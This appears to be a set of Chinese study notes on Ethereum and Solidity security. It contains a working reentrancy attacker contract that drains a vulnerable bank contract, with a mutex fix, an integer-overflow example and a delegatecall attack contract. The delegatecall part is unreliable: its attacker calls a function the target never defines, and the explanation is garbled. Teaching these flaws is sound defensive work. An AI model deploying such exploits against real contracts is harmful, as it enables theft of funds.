Gas 是计算资源的度量单位,表示执行操作所需的计算量。每个操作都有一个对应的固定 Gas 消耗量。
Wei 是以太币的最小单位,用于衡量以太币的价值,类似于比特币中的 satoshi。
交易中执行的gas
1.我们所说的智能合约消耗的gas,实际上是在交易时,由交易方设置交易消耗gas的最大数量,以及单个gas对应的以太币价格,由交易的调用方,来支付以太币来对应的gas。
2.矿工会选择执行 gas 价格较高的交易,因为他们可以从中获得更高的手续费奖励。当矿工确认并打包交易时,他们会根据交易中设定的 gas 价格来确定每个 gas 的成本,并将这些成本以以太币的形式支付给矿工作为手续费。
3.矿工将交易打包就是将数据记录再区块上,衔接到区块链网络,从而进行持久化存储,以便后续可查。
immutable
关键字用于在编译时将常量值存储在合约的存储空间中,并通过在部署时初始化该值来确保其不可更改。
回调函数
但不会在声明它的合约内同步调用。相反,它会作为参数传递给其他函数(js)并在满足特定条件时由外部合约进行调用。
攻击者首先部署自己的恶意合约,并将其与目标合约进行交互。然后,攻击者通过调用目标合约的函数,在目标合约执行的过程中,恶意合约被回调(fallback 函数)并再次调用目标合约的函数。这样,攻击者可以反复调用目标合约并利用其中的漏洞,从而造成损失或者非预期行为。
1.向合约实例或外部账户发送以太币的特殊api
.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。payable 标识符
在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。
2.fallback() 和recive()的使用以及区别。
// 函数声明
receive() external payable { ... }
fallback() external payable { ... }
先说一下,之前solidity版本就是fallback() ,有2个功能:
3. msg.sender
PS : 合约调用者: 可以外部账户,也可以是合约实例。
这么说msg.sender获取的调用者的地址。
假如: 外部账户c 创建 a 调用b ,那么 a中的msg.sender就是c,b中msg.sender就是a。
向 (银行合约)EherBank.sol,向恶意合约进行转钱withdraw()(起作用:msg.sender.call),由于涉及到以太币接受,恶意合约receive()函数被调用,接着withraw()又被调用,形成递归调用,从而向恶意合约继续转钱。
递归调用,递归之后代码其实在递归结束前,是原状态。(在原函数中)。
EherBank.sol
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
contract EtherBank{
mapping(address => uint) public balances;
event Deposit(string call);
event Withdraw(string call);
// 存钱
function deposit() external payable{
balances[msg.sender] += msg.value;
emit Deposit("bance add");
}
// 取钱
function withdraw() external payable {
require( balances[msg.sender] > 0,"balance is not enough");
(bool sent,)= msg.sender.call{value:balances[msg.sender]}(""); // call容易发生重入攻击
require(sent,"faild send Ether");
balances[msg.sender] = 0;
}
// 查看我当前账户是否有钱
function selectdraw() external view returns (uint){
return balances[msg.sender];
}
function getBanlece() external view returns (uint){ // 拿到当前智能合约实例的以太币
return address(this).balance;
}
}
Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
import "./EtherBank.sol";
//@title:攻击者
contract Attacker {
EtherBank public immutable etherBank;
address private owner; // 攻击者
// 拿到合约地址,并初始化
constructor (address etherBank1){
etherBank = EtherBank(etherBank1);
owner = msg.sender;
}
modifier onlyOwner(){ // 只保证调用者是攻击者
require(msg.sender == owner);
_;
}
// 攻击函数
function attack() public payable onlyOwner{
require(msg.value >= 1 ether);
etherBank.deposit{value:msg.value}(); // 存钱
etherBank.withdraw();
}
// receive
receive() external payable {
if(address(etherBank).balance >= 1 ether){
etherBank.withdraw(); // 递归调用
}
}
// 拿取共计合约的余额
function getbalances() external view returns (uint){
return address(this).balance;
}
}
PS : 其实还可以约束gas的使用,递归每次消耗gas,默认call发送全部gas,那么你调用时,也发送2300gas,不是也能减少消耗。
互斥锁是添加一个在代码执行过程中锁定合约的状态变量以防止重 入攻击。
互锁锁EtherBank.sol修改部分:
就是,按照下面互斥锁修改器,取钱函数执行时,默认false,执行,然后locked = true,就代表锁住了,然后在执行取钱代码,call()执行时,虽然receive()函数被调用,withdraw()再次被调用,但是合约实例是一样,那么locked = true,required(!locked,"function is locked")会报错。
...
bool private locked ; // 互斥锁
// 互斥锁修改器
modifier muexLocked(){
require(!locked,"function is locked");
locked = true;
_;
locked = false;
}
...
// 取钱
function withdraw() external payable muexLocked{
require( balances[msg.sender] > 0,"balance is not enough");
(bool sent,)= msg.sender.call{value:balances[msg.sender]}(""); // call容易发生重入攻击
require(sent,"faild send Ether");
balances[msg.sender] = 0;
}
...
pure
函数不读取不修改合约状态,也不调用其他合约函数(也可以调用其他 pure 函数),它只是根据输入参数进行计算。view
函数可以读取合约状态,包括常量和映射,但不能修改合约状态或调用其他类型的函数。合约状态:
- 状态变量:在合约中声明的变量,如整数、布尔值、数组等。
- 映射(Mappings):将键映射到值的数据结构,类似于字典或哈希表。
补码 这个概念是在编程语言中,具有位数限制的类型,如int二进制形式,0,1 表示正负。
假如solidity中: int8类型,最大不是 2 的8次方 - 1 = 127(0111 1111) + 1 之后 向上进1位,= 128(1000 0000)溢出了, 按照补码,第1位符号位,1表示负数,0表示正数。 1000 0000 就是个负数,这样看 -128 --- 127不是int 8的取值范围吗?把他围成一个环,128 就是-128 。
溢出分类
contract Overfolow{
function minAndMax() public pure returns (uint8 min,uint8 max){
return (type(uint8).min,type(uint8).max); // 0 , 255
}
// 向上溢出
function overFlow() public pure returns (uint8){
return (type(uint8).max + 1); // 0
}
// 向下溢出
function underFlow() public pure returns(uint8){
return (type(uint8).min - 1); // 255
}
}
下面经典溢出实例代码分析:
批量转账。
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length; // 接受人数组的长度
uint256 amount = uint256(cnt) * _value; //计算出总转账额,溢出点,这里存在整数溢出
require(cnt > 0 && cnt <= 20); // 数组长度检查
require(_value > 0 && balances[msg.sender] >= amount); // 转账人,余额,转账金钱检查
balances[msg.sender] = balances[msg.sender].sub(amount); // 转账人余额检查总转账额
// 将每个账户现有的资产 和转账额相加,封装到转账账户中。
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
https://learnblockchain.cn/article/3627
合约使用委托调用(delegatecall)时,未正确验证调用合约的函数签名,导致攻击者可以调用恶意合约并执行未授权的操作。
使用 delegatecall
后,目标合约的代码将在调用合约的上下文中执行,包括存储、合约地址等信息。
1. ABI : 是一种 规范 和一种 传输介质 (遵循json数据结构),定义了智能合约与外部交互的接口。
2. slot0:
- 在以太坊虚拟机中,每个合约都有一个存储空间,称为存储器(storage)。存储器被组织为一系列称为“槽位”(slots)的位置。每个槽位可以存储一个256位的数值。
- 在 Solidity 合约中,默认情况下,无论什么类型的状态变量,它们都将占据一个槽位的大小(256位)。因此,如果您在合约中声明了多个状态变量,它们将依次分配到存储器的不同槽位,其中 Slot 0 就是第一个槽位。
- PS: 假如状态变量uint256[] ab 一个数组,那么存储的每个元素都会占据一个槽位。
3. memory:
memory
只能用于动态长度的复杂数据类型,如数组和字符串等。4. call()等低级调用函数:
call() 和delegatecall()其实调用,传参以及结果返回没什么区别。
address.call(): 被调用合约(目标合约),会另开辟一个存储空间,不会影响当前调用合约上下文。
address.delegatecall(): 目标合约和调用合约共享一个存储空间,并且目标合约可以访问和操作调用合约的状态变量。
callcode() : 用的比较少。
5. abi 等相关api
abi.encodeWithSignature()
是 Solidity 中用于将函数签名和参数编码为字节数组的函数
DelegateCall.sol
在这个合约中,executeDelegateCall
函数允许调用者执行委托调用,将指定的数据传递给另一个合约 trustedContract
。委托调用通过 delegatecall
函数执行,这意味着被调用合约的代码会在当前合约的上下文中(共享一个存储空间)执行。
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
contract DelegtaCall{
// 目标合约的地址
address private trustedContract;
// 设置目标合约
function setTrustedContract (address _trustedContract) public{
trustedContract = _trustedContract;
}
// 目标合约要执行的函数
function excuteDelegtaCall(bytes memory data) public {
require(trustedContract != address(0),"trustedContract is not address");
// 委托调用
(bool success,) = trustedContract.delegatecall(data);
require(success,"delegatecall failed");
}
}
然而,这种实现方式存在委托调用漏洞。攻击者可以构造恶意的数据,以欺骗当前合约执行任意合约代码。攻击者可以利用这个漏洞执行任意操作,包括修改合约状态、偷取资金等。
攻击者可以通过以下方式利用委托调用漏洞进行攻击:
trustedContract
,并调用 executeDelegateCall
函数来执行委托调用。这样,攻击者就可以在当前合约的上下文中执行恶意合约的代码。trustedContract
。然后,攻击者可以构造恶意数据,并通过 executeDelegateCall
函数触发委托调用。由于当前合约会在冒充合约的上下文中执行代码,攻击者可以执行恶意操作。Attacker.sol
这个合约中,通过delegatrCall 存储目标合约的地址,攻击者通过调用attack() 函数执行攻击。在该函数中,攻击者构造了一个调用 setTrustedContract
函数的数据,并通过委托调用将该数据传递给目标合约。在这种情况下,攻击者将恶意合约的地址设置为目标合约的 trustedContract
。
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
import "./DelegateCall.sol";
//@title:恶意合约
contract Attacker {
address private delegateCall; // 调用合约地址
constructor(address _delegateCall){
delegateCall = _delegateCall;
}
// 攻击函数
function attack() public{
bytes memory data = abi.encodeWithSignature("setTrustedContract(address)", address(this)); // 使攻击合约和目标合约的存储空间连接到一起
(bool success,) = delegateCall.delegatecall(data);
require(success,"attack filed");
}
function getFun() public view returns (address){
// 执行delegatecall()之后,就能拿到目标合约的状态变量
return DelegateCall(delegateCall).getTrustedContract();
}
}
由于委托调用会在当前合约的上下文中执行被调用合约的代码,而恶意合约具有完全控制权,攻击者可以在目标合约的上下文中执行任意操作,包括修改合约状态、偷取资金等。